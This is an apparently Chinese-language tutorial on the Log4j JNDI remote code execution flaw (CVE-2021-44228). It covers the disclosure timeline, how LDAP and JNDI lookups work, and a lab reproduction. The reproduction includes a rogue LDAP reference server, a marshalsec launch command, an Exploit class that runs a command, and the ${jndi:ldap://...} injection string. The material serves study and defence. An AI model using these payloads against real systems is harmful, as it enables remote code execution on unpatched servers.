Log4j RCE (CVE-2021-44228)

2021 年 12 月 9 日,阿里云安全团队向 apache 报告了由 log4j 日志引起的远程代码执行漏洞。
2021 年 12 月 10 日凌晨,log4j 漏洞利用细节被公开,几乎所有的互联网公司都受到影响。
2021 年 12 月 10 日,各 src 陆续关闭 log4j 漏洞提交通道。
紧接着,各安全厂商纷纷通报,发布临时解决方案
2021 年 12 月 22 日,工信部网络安全管理局决定暂停阿里云作为合作单位 6 个月。原因是阿里云发现 Apache log4j 组件严重安全隐患后未及时向电信主管部门报告,未有效支撑工信部开展网络安全威胁和漏洞管理(违反了国家于 2021 年 9 月发布的【互联网安全产品漏洞管理规定】-【不得在网络产品提供网络产品安全漏洞修补措施之前发布漏洞信息、公开漏洞细节、在国家重大活动期间,未经公安部同意补的擅自发布网络产品安全漏洞信息】)。
Apache 陆续发布 rc1、 rc2、 2.15、 2.16、 2.17 进行修复

  • CVE-2021-44228 远程代码执行 --> 2.15.0 修复
  • CVE-2021-45046 拒绝服务漏洞 --> 2.16.0 修复
  • CVE-2021-45105 拒绝服务漏洞 --> 2.17.0 修复
  • CVE-2021-44832 远程代码执行 --> 2.17.1 修复

Log4j 介绍与漏洞影响

Log4j 是 log for java 的简写,是 Apache 的开源日志记录组件。

Log4j 的使用方式非常简单:

  1. pox.xml 中引入 log4j 依赖

    <!--	log4j	-->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
    
  2. 获得 logger 实例

    private static final Logger logger = LogManager.getLogger(Log4JTest.class);
    
  3. 使用 logger 实例记录日志

    logger.info("hello log4j");
    logger.warn("warning ... ");
    logger.debug("debugging ...");
    logger.error("${java:runtime} - ${java:vm} - ${java:os");
    
  4. log4j 配置文件,默认加载 resource/log4j2.xml(待补充)

    <?xml version="1.0" encoding="UTF-8"?>
    <Configuration status="OFF" monitorInterval="30">
        <appenders>
            <console name="CONSOLE" target="SYSTEM_OUT">
                <PatternLayout pattern="%msg{lookups}%n"/>
            </console>
        </appenders>
        <Loggers>
            <Root level="error">
                <AppenderRef ref="CONSOLE"/>
            </Root>
        </Loggers>
    </Configuration>
    
    

什么是 LDAP

LDAP (LightWeight Directory Access Protocol, 轻量级目录访问协议)

LDAP 实现统一登录

统一登录就是建立一个能够服务于所有应用系统的统一的身份认证系统,每个应用系统都通过该认证系统来进行用户的身份认证,而不用再单独开发各自的用户认证模块。

  1. pox.xml 中引入 ldap服务端依赖

    <!--    ldap    -->
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>6.0.3</version>
    </dependency>
    
  2. 创建 LDAP 服务端

    package com.example.demo.ldap;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    
    /**
    * LDAP 服务端
    */
    public class LDAPSeriServer {
        public static final String LDAP_BASE = "dc=example, dc=com";
    
        public static void main(String[] args) {
            int port = 7389;    // ldap 默认端口 389
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()
                ));
                config.setSchema(null);
                config.setEnforceAttributeSyntaxCompliance(false);
                config.setEnforceSingleStructuralObjectClass(false);
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    
                // 添加三条数据到 LDAP 目录服务器
                ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectClass: domain");
                ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
                ds.add("dn: " + "uid=xxxx,ou=employees,dc=example,dc=com", "objectClass: exportObject");
    
                System.out.println("Listening on 0.0.0.0: " + port);
                ds.startListening();
            }catch (Exception e){
    
            }
        }
    }
    
    
  3. 创建 LDAP 客户端

    package com.example.demo.ldap;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class LDAPClient {
        public static void main(String[] args) throws NamingException {
            Context ct = new InitialContext();
            // lookup 方法在 LDAP 目录数据库中查找一条数据
            Object lookup = ct.lookup("ldap://127.0.0.1:7389/uid=xxxx,ou=employees,dc=example,dc=com");
            System.out.println(lookup);
        }
    }
    

什么是 JNDI

JNDI(Java Naming and Directory Interface, Java 命名和目录接口, 也称之为命名服务接口

JNDI 的使用

  1. 发布服务(名字和资源的映射关系)

  2. 创建 JNDI 客户端查找资源

JNDI 与 LDAP 的关系

${jndi:ldap://example.com:1234/test}

通过名字(jndi,查找(lookup) LDAP 的服务(ldap://example.com:1234,获取 LDAP 中存储的资源(/test

通过 JNDI 查找 LDAP 服务实例
  1. 启动 LDAP 服务服务端(还使用上步中端口为 7389 的服务端)

  2. 创建 JNDI 客户端

    package com.example.demo.jndi;
    
    import javax.naming.Context;
    import javax.naming.NamingEnumeration;
    import javax.naming.NamingException;
    import javax.naming.directory.DirContext;
    import javax.naming.directory.InitialDirContext;
    import javax.naming.directory.SearchControls;
    import javax.naming.directory.SearchResult;
    import java.util.Hashtable;
    
    public class JNDIClient {
        public static void main(String[] args) throws NamingException {
            Hashtable<String, Object> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com");
    
            DirContext ctx = new InitialDirContext(env);
            SearchControls searchControls = new SearchControls();
            searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
            searchControls.setCountLimit(10);
            NamingEnumeration<SearchResult> namingEnumeration = ctx.search("", "(uid=*)", new Object[]{}, searchControls);
            // 通过名称查找远程对象,假设远程服务器已经将一个远程对象绑定了
            ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com");
            while (namingEnumeration.hasMore()){
                SearchResult sr = namingEnumeration.next();
                System.out.println("DN: " + sr.getName());
                System.out.println(sr.getAttributes().get("uid"));
            }
            ctx.close();
    
        }
    }
    
  3. 运行,查看访问结果

    DN: uid=xxxx,ou=employees
    uid: xxxx
    

什么是 JNDI 注入?

JNDI Naming Reference

  1. 在 LDAP 里面可以存储一个外部资源,叫做命名引用,对应 Reference 类。(比如: 远程 HTTP 服务的一个 Exploit.class 文件)

    package com.example.demo.ldap;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import javax.swing.text.html.parser.Entity;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    /**
    * LDAP 服务端
    */
    public class LDAPRefServer {
        public static final String LDAP_BASE = "dc=example, dc=com";
    
        public static final String EXPLOIT_CLASS_URL = "http://192.168.xxx.xxx/#Exploit";   // #Exploit 代替 Exploit.class
    
        public static void main(String[] args) {
            int port = 7389;    // ldap 默认端口 389
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()
                ));
    
                /* 指定 EXPLOIT_CLASS_URL, OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类 */
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)) );
    
                config.setSchema(null);
                config.setEnforceAttributeSyntaxCompliance(false);
                config.setEnforceSingleStructuralObjectClass(false);
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    
                System.out.println("Listening on 0.0.0.0: " + port);
                ds.startListening();
            }catch (Exception e){
    
            }
        }
    
        /**
        * OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类
        */
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
            private URL codebase;
    
            private OperationInterceptor(URL url) {
                this.codebase = url;
            }
    
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }catch (Exception ex){
    
                }
            }
    
            protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws MalformedURLException, LDAPException {
                URL url = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + url);
                e.addAttribute("javaClassName", "Calc");
                String cbString = this.codebase.toString();
                int refPos = cbString.indexOf('#');
                if (refPos > 0){
                    cbString = cbString.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbString);
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    
            }
        }
    }
    
    
  2. 如果 JNDI 客户端,在 LDAP 服务中找不到对应的资源时,就会去指定的地址(如上代码中的EXPLOIT_CLASS_URL)请求。如果是命名引用,就会将这个文件(Exploit.class)下载到本地

  3. 如果下载的 .class 文件包含无参构造函数或静态方法块,加载的时候就会自动执行,从而产生注入漏洞。

    public class Expoit {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
    
            }
        }
    }
    

Log4j RCE 漏洞复现

环境准备

  • 基础开发环境
    • JDK 1.8.191 以下
  • 远程代码
    • Exploit.class 恶意文件
    • HTTP 服务器
  • LDAP 服务端
    • 本地启动。同上(需要将远程地址配置在服务端代码中)
    • 远程启动。
      可以借用 marshalsec 在远程服务器启动一个 LDAP 服务(远程地址作为参数配置在命令中)
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.xxx.xxx:80/#Exploit 7389
  • LDAP 客户端(Log4j 利用)
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Log4JTest {
        private static final Logger logger = LogManager.getLogger(Log4JTest.class);
    
        public static void main(String[] args) {
            logger.error("${jndi:ldap://127.0.0.1:7389/test}");
        }
    }
    

Log4j RCE 漏洞原理分析

log4j 使用手册中的 Lookups,参考地址: https://logging.apache.org/log4j/2.x/manual/lookups.html

官网描述:

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.

可以从不同的地方加载资源,赋值给 log4j 的配置并使用。从官网可以看到,其中包含 Context Map LookupDate LookupDocker LookupEnvironment Lookup、 …、 Jndi Lookup、…

官网描述:

Jndi Lookup
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.

The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.

The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).

影响范围和排查方法

Log4j RCE 漏洞修复

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐